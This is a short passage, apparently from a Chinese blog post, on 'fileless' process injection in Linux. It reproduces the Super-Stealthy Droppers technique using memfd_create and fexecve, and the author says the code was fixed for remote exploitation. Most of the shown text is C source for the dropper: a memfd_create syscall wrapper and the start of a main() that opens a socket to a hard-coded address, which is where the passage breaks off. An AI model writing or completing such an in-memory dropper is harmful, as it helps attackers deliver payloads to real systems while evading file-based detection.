linux无文件进程注入
本文是对 Super-Stealthy Droppers 的复现，测试发现代码有些bug，在远程利用时会问题，稍作完善了下。 memfd_create + fexecve memfd_create需要 kernel 3.17以上，fexecve需要2.3.2以上 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #define __NR_memfd_create 319 #define MFD_CLOEXEC 1 static inline int memfd_create( const char *name, unsigned int flags) { return syscall(__NR_memfd_create, name, flags); } extern char **environ; int main ( int argc, char **argv) { int fd, s; unsigned long addr = 0x010...